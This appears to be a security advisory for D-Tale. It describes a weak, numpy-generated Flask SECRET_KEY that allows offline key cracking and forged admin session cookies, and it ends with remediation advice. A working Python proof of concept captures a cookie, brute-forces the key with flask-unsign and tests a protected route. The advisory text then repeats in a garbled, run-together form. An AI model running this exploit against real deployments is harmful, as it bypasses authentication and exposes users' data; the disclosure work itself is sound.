Weak Flask SECRET_KEY Leads to Session Forgery / Authentication Bypass
Vulnerability Name
Use of Insufficiently Random / Low-Entropy Flask SECRET_KEY in D-Tale, allowing offline brute-force of the session-signing key and forgery of authenticated session cookies (authentication bypass).
Vulnerability Type
- CWE-331: Insufficient Entropy
- CWE-330: Use of Insufficiently Random Values
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
- Resulting impact: CWE-384 (Session Fixation/Forgery) / CWE-287 (Improper Authentication — bypass)
CVSS 3.1
- Base Score: 6.5 (Medium)
- Vector:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
- Rationale:
AV:N — the login page and signed session cookie are reachable over the network.
AC:H — success depends on conditions outside the attacker's control: (1) authentication must be explicitly enabled ([auth] active = true), which is not the default D-Tale configuration; and (2) the attacker must obtain a cookie signed by the target instance and then brute-force a 2^51.7 key space offline (achievable in hours–days on a GPU cluster, but not a single trivial request). The dependency on a non-default deployment configuration is the primary driver of High attack complexity.
PR:N / UI:N — no credentials and no user interaction required; once auth is enabled, an unauthenticated visitor is issued a signed session cookie by simply requesting the login page.
C:H — forging logged_in=True grants authenticated access to read all datasets loaded into the D-Tale process.
I:L — data-mutating endpoints become reachable, but they operate on the in-memory, transient DataFrame views held by the process rather than on a persistent system, credentials, or stored records; the integrity impact is therefore limited rather than system-level.
A:N — no direct availability impact.
Note: this issue is only relevant when D-Tale authentication is explicitly enabled ([auth] active = true). D-Tale ships without authentication by default.
Vulnerability Description
When authentication is enabled, D-Tale protects its routes via a Flask session cookie. After a successful login the server stores session["logged_in"] = True and session["username"], and the requires_auth decorator authorizes every subsequent request solely by reading those two session values. Flask session cookies are client-side, integrity-protected only by an HMAC keyed with the application's SECRET_KEY.
D-Tale generates that SECRET_KEY at process startup with build_secret_key(), which selects 10 characters from an alphabet of only 36 symbols (A–Z and 0–9) using numpy.random.choice. This yields a key space of 36^10 ≈ 3.66 × 10^15 ≈ 2^51.7, compared to Flask's recommended os.urandom(24) (≈ 2^192). Two compounding weaknesses:
- Low entropy — 2^51.7 is brute-forceable offline. At ~10^10 HMAC verifications/second (commodity GPU cluster) the average time to recover the key is ≈ 2.1 days; lower-end hardware is in the order of days to a couple of weeks. Each candidate key is testable offline against a single captured cookie (no further interaction with the server).
- Weak PRNG —
numpy.random (Mersenne Twister) is not a cryptographically secure RNG. Its internal state is recoverable from outputs, and it is not intended for secret generation, further weakening the practical search.
Any unauthenticated client receives a signed (unauthenticated) session cookie simply by visiting /login. The attacker uses that cookie as an offline oracle to recover SECRET_KEY, then mints a cookie carrying {"logged_in": true, "username": "admin"}, signed with the recovered key. The requires_auth decorator accepts it. The password is never needed — this bypasses authentication entirely, regardless of password strength or any rate-limiting that may be added to the login form.
Vulnerability SINK
dtale/app.py — the low-entropy, non-CSPRNG key generator whose output becomes the HMAC key for all session cookies:
# dtale/app.py:333
def build_secret_key():
"""
Builds a string of 10 randomly chosen characters to be used as the Flask app's SECRET_KEY
"""
return "".join(np.random.choice(list(string.ascii_uppercase + string.digits), 10))
# dtale/app.py:361
app.config["SECRET_KEY"] = build_secret_key()
The sink is the assignment of a 2^51.7-entropy, numpy-PRNG-derived value to app.config["SECRET_KEY"], which Flask uses to HMAC-sign every session cookie.
Vulnerability SOURCE
The attacker-controlled / attacker-observable input that drives exploitation is an HMAC-signed session cookie issued by the target instance, obtained with no authentication from the login route, plus an attacker-crafted cookie submitted back to any protected route:
# dtale/auth.py:24 — any unauthenticated GET /login returns a signed session cookie
return render_template("dtale/login.html", page="login")
# dtale/auth.py:49 — protected routes trust only these session fields (verified by SECRET_KEY HMAC)
if not session.get("logged_in") or not session.get("username"):
session["next"] = request.url
return redirect(url_for("login"))
return f(*args, **kwargs)
The forged cookie value (session["logged_in"], session["username"]) is the controllable source; the integrity check that should stop it is defeated by the brute-forced SECRET_KEY.
Call Stack / Data Flow (file → key code → one-line note)
-
dtale/app.py:6,9 — import numpy as np / import string
Pulls in the non-cryptographic numpy PRNG and a 36-character alphabet later used to build the secret.
-
dtale/app.py:333 build_secret_key() — return "".join(np.random.choice(list(string.ascii_uppercase + string.digits), 10))
Generates a 10-char key over a 36-symbol alphabet (2^51.7) using a non-CSPRNG — the root weakness.
-
dtale/app.py:361 — app.config["SECRET_KEY"] = build_secret_key()
Installs that weak value as the HMAC key for every Flask session cookie in the process.
-
dtale/auth.py:24 login() (GET) — return render_template("dtale/login.html", page="login")
An unauthenticated request to /login causes Flask to issue a Set-Cookie: session=... signed with the weak key — the offline oracle.
-
Attacker offline — brute-force SECRET_KEY against the captured cookie (HMAC-SHA1 over the 2^51.7 space; e.g. via flask-unsign).
Recovers the signing key in hours–days; no interaction with the server during this phase.
-
dtale/auth.py:21-22 (logic replicated by attacker) — session["logged_in"] = True / session["username"] = ...
Attacker forges a cookie carrying these exact fields and signs it with the recovered key.
-
dtale/auth.py:49-52 requires_auth — if not session.get("logged_in") or not session.get("username"): ... redirect(login)
The decorator validates the forged cookie's HMAC with the (now known) key, finds logged_in=True, and grants access — authentication bypassed.
Proof of Concept (Python)
The PoC has two phases: (A) capture a server-signed cookie and recover the SECRET_KEY offline; (B) forge an authenticated cookie and access a protected endpoint. The key recovery uses flask-unsign (pip install flask-unsign requests). The brute-force wordlist must enumerate the A–Z0–9, length-10 space — shown here as the exact charset/length to target; full enumeration is large, so in practice GPU/distributed cracking or flask-unsign --wordlist against generated candidates is used.
#!/usr/bin/env python3
"""
PoC: D-Tale weak SECRET_KEY -> session forgery / auth bypass.
Requires: pip install requests flask-unsign
"""
import itertools
import string
import requests
import flask_unsign
TARGET = "http://TARGET_HOST:PORT" # e.g. http://127.0.0.1:40000
# ---- Phase A: obtain a server-signed session cookie (no auth needed) ----
r = requests.get(f"{TARGET}/login", allow_redirects=False, timeout=30)
signed_cookie = r.cookies.get("session")
assert signed_cookie, "No session cookie issued by /login"
print("[*] Captured signed session cookie:", signed_cookie)
# ---- Phase A (cont.): recover SECRET_KEY offline ----
# Key space: 10 chars from A-Z0-9 (36^10 == 2^51.7).
# For demonstration we show the exact charset/length to brute force.
# In practice feed candidates to flask_unsign.Cracker (GPU/distributed for full space).
CHARSET = string.ascii_uppercase + string.digits # 36 symbols
KEYLEN = 10
def candidate_keys(limit=None):
count = 0
for combo in itertools.product(CHARSET, repeat=KEYLEN):
yield "".join(combo)
count += 1
if limit and count >= limit:
return
cracker = flask_unsign.Cracker(value=signed_cookie)
secret_key = None
for key in candidate_keys(): # full space is 2^51.7; offload to GPU/cluster in practice
if cracker.unsign(key):
secret_key = key
break
# (For a runnable demo against a test instance, replace the loop above with:
# secret_key = flask_unsign.Cracker(value=signed_cookie).crack(
# flask_unsign.wordlist.load('your_candidate_wordlist.txt')))
assert secret_key, "SECRET_KEY not recovered (expand candidate space / use GPU cracker)"
print("[+] Recovered SECRET_KEY:", secret_key)
# ---- Phase B: forge an authenticated cookie and bypass auth ----
forged = flask_unsign.sign(
{"logged_in": True, "username": "admin"},
secret=secret_key,
)
print("[+] Forged authenticated cookie:", forged)
s = requests.Session()
s.cookies.set("session", forged)
resp = s.get(f"{TARGET}/dtale/main/1", allow_redirects=False, timeout=30)
print("[*] Protected-route status:", resp.status_code)
if resp.status_code == 200 and "login" not in resp.headers.get("Location", ""):
print("[+] AUTH BYPASS CONFIRMED — accessed protected route without credentials")
else:
print("[-] Not bypassed (check target / data_id)")
Remediation
- Generate the key with a CSPRNG and adequate length, e.g.
secrets.token_urlsafe(32) or os.urandom(32) (≥ 2^256). Stop using numpy.random for secrets.
- Persist the key (config file /
DTALE_SECRET_KEY env var) instead of regenerating per process, so it can be set to a strong value once and audited.
- Optionally set
SESSION_COOKIE_SECURE, SESSION_COOKIE_HTTPONLY, SESSION_COOKIE_SAMESITE to reduce cookie capture surface.
Affected Component / Preconditions
- Component:
dtale/app.py (build_secret_key), session auth in dtale/auth.py.
- Precondition: authentication enabled (
[auth] active = true). Default D-Tale deployments run without auth and are out of scope for this specific bypass.
Weak Flask
SECRET_KEYLeads to Session Forgery / Authentication BypassVulnerability Name
Use of Insufficiently Random / Low-Entropy Flask
SECRET_KEYin D-Tale, allowing offline brute-force of the session-signing key and forgery of authenticated session cookies (authentication bypass).Vulnerability Type
CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:NAV:N— the login page and signed session cookie are reachable over the network.AC:H— success depends on conditions outside the attacker's control: (1) authentication must be explicitly enabled ([auth] active = true), which is not the default D-Tale configuration; and (2) the attacker must obtain a cookie signed by the target instance and then brute-force a 2^51.7 key space offline (achievable in hours–days on a GPU cluster, but not a single trivial request). The dependency on a non-default deployment configuration is the primary driver of High attack complexity.PR:N/UI:N— no credentials and no user interaction required; once auth is enabled, an unauthenticated visitor is issued a signed session cookie by simply requesting the login page.C:H— forginglogged_in=Truegrants authenticated access to read all datasets loaded into the D-Tale process.I:L— data-mutating endpoints become reachable, but they operate on the in-memory, transient DataFrame views held by the process rather than on a persistent system, credentials, or stored records; the integrity impact is therefore limited rather than system-level.A:N— no direct availability impact.Vulnerability Description
When authentication is enabled, D-Tale protects its routes via a Flask session cookie. After a successful login the server stores
session["logged_in"] = Trueandsession["username"], and therequires_authdecorator authorizes every subsequent request solely by reading those two session values. Flask session cookies are client-side, integrity-protected only by an HMAC keyed with the application'sSECRET_KEY.D-Tale generates that
SECRET_KEYat process startup withbuild_secret_key(), which selects 10 characters from an alphabet of only 36 symbols (A–Zand0–9) usingnumpy.random.choice. This yields a key space of36^10 ≈ 3.66 × 10^15 ≈ 2^51.7, compared to Flask's recommendedos.urandom(24)(≈ 2^192). Two compounding weaknesses:numpy.random(Mersenne Twister) is not a cryptographically secure RNG. Its internal state is recoverable from outputs, and it is not intended for secret generation, further weakening the practical search.Any unauthenticated client receives a signed (unauthenticated) session cookie simply by visiting
/login. The attacker uses that cookie as an offline oracle to recoverSECRET_KEY, then mints a cookie carrying{"logged_in": true, "username": "admin"}, signed with the recovered key. Therequires_authdecorator accepts it. The password is never needed — this bypasses authentication entirely, regardless of password strength or any rate-limiting that may be added to the login form.Vulnerability SINK
dtale/app.py— the low-entropy, non-CSPRNG key generator whose output becomes the HMAC key for all session cookies:The sink is the assignment of a 2^51.7-entropy,
numpy-PRNG-derived value toapp.config["SECRET_KEY"], which Flask uses to HMAC-sign every session cookie.Vulnerability SOURCE
The attacker-controlled / attacker-observable input that drives exploitation is an HMAC-signed session cookie issued by the target instance, obtained with no authentication from the login route, plus an attacker-crafted cookie submitted back to any protected route:
The forged cookie value (
session["logged_in"],session["username"]) is the controllable source; the integrity check that should stop it is defeated by the brute-forcedSECRET_KEY.Call Stack / Data Flow (file → key code → one-line note)
dtale/app.py:6,9—import numpy as np/import stringPulls in the non-cryptographic
numpyPRNG and a 36-character alphabet later used to build the secret.dtale/app.py:333build_secret_key()—return "".join(np.random.choice(list(string.ascii_uppercase + string.digits), 10))Generates a 10-char key over a 36-symbol alphabet (2^51.7) using a non-CSPRNG — the root weakness.
dtale/app.py:361—app.config["SECRET_KEY"] = build_secret_key()Installs that weak value as the HMAC key for every Flask session cookie in the process.
dtale/auth.py:24login()(GET) —return render_template("dtale/login.html", page="login")An unauthenticated request to
/logincauses Flask to issue aSet-Cookie: session=...signed with the weak key — the offline oracle.Attacker offline — brute-force
SECRET_KEYagainst the captured cookie (HMAC-SHA1 over the 2^51.7 space; e.g. viaflask-unsign).Recovers the signing key in hours–days; no interaction with the server during this phase.
dtale/auth.py:21-22(logic replicated by attacker) —session["logged_in"] = True/session["username"] = ...Attacker forges a cookie carrying these exact fields and signs it with the recovered key.
dtale/auth.py:49-52requires_auth—if not session.get("logged_in") or not session.get("username"): ... redirect(login)The decorator validates the forged cookie's HMAC with the (now known) key, finds
logged_in=True, and grants access — authentication bypassed.Proof of Concept (Python)
The PoC has two phases: (A) capture a server-signed cookie and recover the
SECRET_KEYoffline; (B) forge an authenticated cookie and access a protected endpoint. The key recovery usesflask-unsign(pip install flask-unsign requests). The brute-force wordlist must enumerate theA–Z0–9, length-10 space — shown here as the exact charset/length to target; full enumeration is large, so in practice GPU/distributed cracking orflask-unsign --wordlistagainst generated candidates is used.Remediation
secrets.token_urlsafe(32)oros.urandom(32)(≥ 2^256). Stop usingnumpy.randomfor secrets.DTALE_SECRET_KEYenv var) instead of regenerating per process, so it can be set to a strong value once and audited.SESSION_COOKIE_SECURE,SESSION_COOKIE_HTTPONLY,SESSION_COOKIE_SAMESITEto reduce cookie capture surface.Affected Component / Preconditions
dtale/app.py(build_secret_key), session auth indtale/auth.py.[auth] active = true). Default D-Tale deployments run without auth and are out of scope for this specific bypass.